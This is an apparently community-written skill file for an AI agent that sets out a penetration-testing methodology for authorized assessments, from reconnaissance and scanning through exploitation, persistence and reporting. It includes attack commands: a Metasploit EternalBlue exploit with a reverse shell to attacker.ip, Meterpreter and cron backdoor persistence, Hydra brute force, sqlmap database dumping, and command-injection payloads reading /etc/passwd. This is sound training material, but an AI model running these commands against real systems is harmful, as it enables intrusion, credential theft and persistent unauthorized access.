ethical-hacking-methodology: Скилл для пентеста и анализа

--- name: ethical-hacking-methodology description: "Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments." risk: unknown source: community author: zebbern date_added: "2026-02-27" --- # Ethical Hacking Methodology ## Purpose Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments. ## Prerequisites ### Required Environment - Kali Linux installed (persistent or live) - Network access to authorized targets - Written authorization from system owner ### Required Knowledge - Basic networking concepts - Linux command-line proficiency - Understanding of web technologies - Familiarity with security concepts ## Outputs and Deliverables 1. **Reconnaissance Report** - Target information gathered 2. **Vulnerability Assessment** - Identified weaknesses 3. **Exploitation Evidence** - Proof of concept attacks 4. **Final Report** - Executive and technical findings ## Core Workflow ### Phase 1: Understanding Hacker Types Classification of security professionals: **White Hat Hackers (Ethical Hackers)** - Authorized security professionals - Conduct penetration testing with permission - Goal: Identify and fix vulnerabilities - Also known as: penetration testers, security consultants **Black Hat Hackers (Malicious)** - Unauthorized system intrusions - Motivated by profit, revenge, or notoriety - Goal: Steal data, cause damage - Also known as: crackers, criminal hackers **Grey Hat Hackers (Hybrid)** - May cross ethical boundaries - Not malicious but may break rules - Often disclose vulnerabilities publicly - Mixed motivations **Other Classifications** - **Script Kiddies**: Use pre-made tools without understanding - **Hacktivists**: Politically or socially motivated - **Nation State**: Government-sponsored operatives - **Coders**: Develop tools and exploits ### Phase 2: Reconnaissance Gather information without direct system interaction: **Passive Reconnaissance** ```bash # WHOIS lookup whois target.com # DNS enumeration nslookup target.com dig target.com ANY dig target.com MX dig target.com NS # Subdomain discovery dnsrecon -d target.com # Email harvesting theHarvester -d target.com -b all ``` **Google Hacking (OSINT)** ``` # Find exposed files site:target.com filetype:pdf site:target.com filetype:xls site:target.com filetype:doc # Find login pages site:target.com inurl:login site:target.com inurl:admin # Find directory listings site:target.com intitle:"index of" # Find configuration files site:target.com filetype:config site:target.com filetype:env ``` **Google Hacking Database Categories:** - Files containing passwords - Sensitive directories - Web server detection - Vulnerable servers - Error messages - Login portals **Social Media Reconnaissance** - LinkedIn: Organizational charts, technologies used - Twitter: Company announcements, employee info - Facebook: Personal information, relationships - Job postings: Technology stack revelations ### Phase 3: Scanning Active enumeration of target systems: **Host Discovery** ```bash # Ping sweep nmap -sn 192.168.1.0/24 # ARP scan (local network) arp-scan -l # Discover live hosts nmap -sP 192.168.1.0/24 ``` **Port Scanning** ```bash # TCP SYN scan (stealth) nmap -sS target.com # Full TCP connect scan nmap -sT target.com # UDP scan nmap -sU target.com # All ports scan nmap -p- target.com # Top 1000 ports with service detection nmap -sV target.com # Aggressive scan (OS, version, scripts) nmap -A target.com ``` **Service Enumeration** ```bash # Specific service scripts nmap --script=http-enum target.com nmap --script=smb-enum-shares target.com nmap --script=ftp-anon target.com # Vulnerability scanning nmap --script=vuln target.com ``` **Common Port Reference** | Port | Service | Notes | |------|---------|-------| | 21 | FTP | File transfer | | 22 | SSH | Secure shell | | 23 | Telnet | Unencrypted remote | | 25 | SMTP | Email | | 53 | DNS | Name resolution | | 80 | HTTP | Web | | 443 | HTTPS | Secure web | | 445 | SMB | Windows shares | | 3306 | MySQL | Database | | 3389 | RDP | Remote desktop | ### Phase 4: Vulnerability Analysis Identify exploitable weaknesses: **Automated Scanning** ```bash # Nikto web scanner nikto -h http://target.com # OpenVAS (command line) omp -u admin -w password --xml="<get_tasks/>" # Nessus (via API) nessuscli scan --target target.com ``` **Web Application Testing (OWASP)** - SQL Injection - Cross-Site Scripting (XSS) - Broken Authentication - Security Misconfiguration - Sensitive Data Exposure - XML External Entities (XXE) - Broken Access Control - Insecure Deserialization - Using Components with Known Vulnerabilities - Insufficient Logging & Monitoring **Manual Techniques** ```bash # Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # Subdomain enumeration gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt # Web technology fingerprinting whatweb target.com ``` ### Phase 5: Exploitation Actively exploit discovered vulnerabilities: **Metasploit Framework** ```bash # Start Metasploit msfconsole # Search for exploits msf> search type:exploit name:smb # Use specific exploit msf> use exploit/windows/smb/ms17_010_eternalblue # Set target msf> set RHOSTS target.com # Set payload msf> set PAYLOAD windows/meterpreter/reverse_tcp msf> set LHOST attacker.ip # Execute msf> exploit ``` **Password Attacks** ```bash # Hydra brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com hydra -L users.txt -P passwords.txt ftp://target.com # John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt ``` **Web Exploitation** ```bash # SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs sqlmap -u "http://target.com/page.php?id=1" -D database --tables # XSS testing # Manual: <script>alert('XSS')</script> # Command injection testing # ; ls -la # | cat /etc/passwd ``` ### Phase 6: Maintaining Access Establish persistent access: **Backdoors** ```bash # Meterpreter persistence meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip # SSH key persistence # Add attacker's public key to ~/.ssh/authorized_keys # Cron job persistence echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab ``` **Privilege Escalation** ```bash # Linux enumeration linpeas.sh linux-exploit-suggester.sh # Windows enumeration winpeas.exe windows-exploit-suggester.py # Check SUID binaries (Linux) find / -perm -4000 2>/dev/null # Check sudo permissions sudo -l ``` **Covering Tracks (Ethical Context)** - Document all actions taken - Maintain logs for reporting - Avoid unnecessary system changes - Clean up test files and backdoors ### Phase 7: Reporting Document findings professionally: **Report Structure** 1. **Executive Summary** - High-level findings - Business impact - Risk ratings - Remediation priorities 2. **Technical Findings** - Vulnerability details - Proof of concept - Screenshots/evidence - Affected systems 3. **Risk Ratings** - Critical: Immediate action required - High: Address within 24-48 hours - Medium: Address within 1 week - Low: Address within 1 month - Informational: Best practice recommendations 4. **Remediation Recommendations** - Specific fixes for each finding - Short-term mitigations - Long-term solutions - Resource requirements 5. **Appendices** - Detailed scan outputs - Tool configurations - Testing timeline - Scope and methodology ### Phase 8: Common Attack Types **Phishing** - Email-based credential theft - Fake login pages - Malicious attachments - Social engineering component **Malware Types** - **Virus**: Self-replicating, needs host file - **Worm**: Self-propagating across networks - **Trojan**: Disguised as legitimate software - **Ransomware**: Encrypts files for ransom - **Rootkit**: Hidden system-level access - **Spyware**: Monitors user activity **Network Attacks** - Man-in-the-Middle (MITM) - ARP Spoofing - DNS Poisoning - DDoS (Distributed Denial of Service) ### Phase 9: Kali Linux Setup Install penetration testing platform: **Hard Disk Installation** 1. Download ISO from kali.org 2. Boot from installation media 3. Select "Graphical Install" 4. Configure language, location, keyboard 5. Set hostname and root password 6. Partition disk (Guided - use entire disk) 7. Install GRUB bootloader 8. Reboot and login **Live USB (Persistent)** ```bash # Create bootable USB dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress # Create persistence partition gparted /dev/sdb # Add ext4 partition labeled "persistence" # Configure persistence mkdir /mnt/usb mount /dev/sdb2 /mnt/usb echo "/ union" > /mnt/usb/persistence.conf umount /mnt/usb ``` ### Phase 10: Ethical Guidelines **Legal Requirements** - Obtain written authorization - Define scope clearly - Document all testing activities - Report all findings to client - Maintain confidentiality **Professional Conduct** - Work ethically with integrity - Respect privacy of data accessed - Avoid unnecessary system damage - Execute planned tests only - Never use findings for personal gain ## Quick Reference ### Penetration Testing Lifecycle | Stage | Purpose | Key Tools | |-------|---------|-----------| | Reconnaissance | Gather information | theHarvester, WHOIS, Google | | Scanning | Enumerate targets | Nmap, Nikto, Gobuster | | Exploitation | Gain access | Metasploit, SQLMap, Hydra | | Maintaining Access | Persistence | Meterpreter, SSH keys | | Reporting | Document findings | Report templates | ### Essential Commands | Command | Purpose | |---------|---------| | `nmap -sV target` | Port and service scan | | `nikto -h target` | Web vulnerability scan | | `msfconsole` | Start Metasploit | | `hydra -l user -P list ssh://target` | SSH brute force | | `sqlmap -u "url?id=1" --dbs` | SQL injection | ## Constraints and Limitations ### Authorization Required - Never test without written permission - Stay within defined scope - Report unauthorized access attempts ### Professional Standards - Follow rules of engagement - Maintain client confidentiality - Document methodology used - Provide actionable recommendations ## Troubleshooting ### Scans Blocked **Solutions:** 1. Use slower scan rates 2. Try different scanning techniques 3. Use proxy or VPN 4. Fragment packets ### Exploits Failing **Solutions:** 1. Verify target vulnerability exists 2. Check payload compatibility 3. Adjust exploit parameters 4. Try alternative exploits ## When to Use This skill is applicable to execute the workflow or actions described in the overview.